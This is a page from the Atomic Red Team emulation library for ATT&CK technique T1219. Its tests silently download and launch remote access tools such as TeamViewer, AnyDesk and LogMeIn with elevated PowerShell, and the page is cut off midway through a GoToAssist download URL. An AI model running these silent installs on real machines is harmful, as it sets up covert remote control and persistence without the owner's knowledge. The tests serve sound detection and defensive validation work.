# T1219 - Remote Access Software

## Description from ATT&CK

> An adversary may use legitimate remote access tools to establish an interactive command and control channel within a network. Remote access tools create a session between two trusted hosts through a graphical interface, a command line interaction, a protocol tunnel via development or management software, or hardware-level access such as KVM (Keyboard, Video, Mouse) over IP solutions. Desktop support software (usually graphical interface) and remote management software (typically command line interface) allow a user to control a computer remotely as if they are a local user inheriting the user or software permissions. This software is commonly used for troubleshooting, software installation, and system management.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy) Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.
> 
> Remote access tools may be installed and used post-compromise as an alternate communications channel for redundant access or to establish an interactive remote desktop session with the target system. It may also be used as a malware component to establish a reverse connection or back-connect to a service or adversary-controlled system.
> 
> Installation of many remote access tools may also include persistence (e.g., the software's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome’s Remote Desktop).(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop)

[Source](https://attack.mitre.org/techniques/T1219)

## Atomic Tests

- [Atomic Test #1: TeamViewer Files Detected Test on Windows](#atomic-test-1-teamviewer-files-detected-test-on-windows)
- [Atomic Test #2: AnyDesk Files Detected Test on Windows](#atomic-test-2-anydesk-files-detected-test-on-windows)
- [Atomic Test #3: LogMeIn Files Detected Test on Windows](#atomic-test-3-logmein-files-detected-test-on-windows)
- [Atomic Test #4: GoToAssist Files Detected Test on Windows](#atomic-test-4-gotoassist-files-detected-test-on-windows)
- [Atomic Test #5: ScreenConnect Application Download and Install on Windows](#atomic-test-5-screenconnect-application-download-and-install-on-windows)
- [Atomic Test #6: Ammyy Admin Software Execution](#atomic-test-6-ammyy-admin-software-execution)
- [Atomic Test #7: RemotePC Software Execution](#atomic-test-7-remotepc-software-execution)
- [Atomic Test #8: NetSupport - RAT Execution](#atomic-test-8-netsupport---rat-execution)
- [Atomic Test #9: UltraViewer - RAT Execution](#atomic-test-9-ultraviewer---rat-execution)
- [Atomic Test #10: UltraVNC Execution](#atomic-test-10-ultravnc-execution)
- [Atomic Test #11: MSP360 Connect Execution](#atomic-test-11-msp360-connect-execution)
- [Atomic Test #12: RustDesk Files Detected Test on Windows](#atomic-test-12-rustdesk-files-detected-test-on-windows)
- [Atomic Test #13: Splashtop Execution](#atomic-test-13-splashtop-execution)
- [Atomic Test #14: Splashtop Streamer Execution](#atomic-test-14-splashtop-streamer-execution)
- [Atomic Test #15: Microsoft App Quick Assist Execution](#atomic-test-15-microsoft-app-quick-assist-execution)

### Atomic Test #1: TeamViewer Files Detected Test on Windows

An adversary may attempt to trick the user into downloading teamviewer and using this to maintain access to the machine. Download of TeamViewer installer will be at the destination location when sucessfully executed.

**Supported Platforms:** Windows

**auto_generated_guid:** `8ca3b96d-8983-4a7f-b125-fc98cc0a2aa0`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Start-Process -Wait $file1 /S; 
Start-Process 'C:\Program Files (x86)\TeamViewer\TeamViewer.exe'
```

#### Cleanup Commands

```powershell
$file = 'C:\Program Files (x86)\TeamViewer\uninstall.exe'
if(Test-Path $file){ Start-Process $file "/S" -ErrorAction Ignore | Out-Null }
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Remove-Item $file1 -ErrorAction Ignore | Out-Null
```
### Atomic Test #2: AnyDesk Files Detected Test on Windows

An adversary may attempt to trick the user into downloading AnyDesk and use to establish C2. Download of AnyDesk installer will be at the destination location and ran when sucessfully executed.

**Supported Platforms:** Windows

**auto_generated_guid:** `6b8b7391-5c0a-4f8c-baee-78d8ce0ce330`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Start-Process $file1 /S;
```

#### Cleanup Commands

```powershell
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Remove-Item $file1 -ErrorAction Ignore
```
### Atomic Test #3: LogMeIn Files Detected Test on Windows

An adversary may attempt to trick the user into downloading LogMeIn and use to establish C2. Download of LogMeIn installer will be at the destination location and ran when sucessfully executed.

**Supported Platforms:** Windows

**auto_generated_guid:** `d03683ec-aae0-42f9-9b4c-534780e0f8e1`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Start-Process -Wait $file1 /quiet;
Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe' "/S"
```

#### Cleanup Commands

```powershell
get-package *'LogMeIn Client'* -ErrorAction Ignore | uninstall-package 
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Remove-Item $file1 -ErrorAction Ignore
```
### Atomic Test #4: GoToAssist Files Detected Test on Windows

An adversary may attempt to trick the user into downloading GoToAssist and use to establish C2. Download of GoToAssist installer will be at the destination location and ran when sucessfully executed.

**Supported Platforms:** Windows

**auto_generated_guid:** `1b72b3bd-72f8-4b63-a30b-84e91b9c3578`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Invoke-WebRequest -OutFile C:\Users\$env:username\Downloads\GoToAssist.exe "https://launch.getgo.com/launcher2/helper?token=e0-FaCddxmtMoX8_cY4czssnTeGvy83ihp8CLREfvwQshiBW0_RcbdoaEp8IA-Qn8wpbKlpGIflS-39gW6RuWRM-XHwtkRVMLBsp5RSKp-a3PBM-Pb1Fliy73EDgoaxr-q83WtXbLKq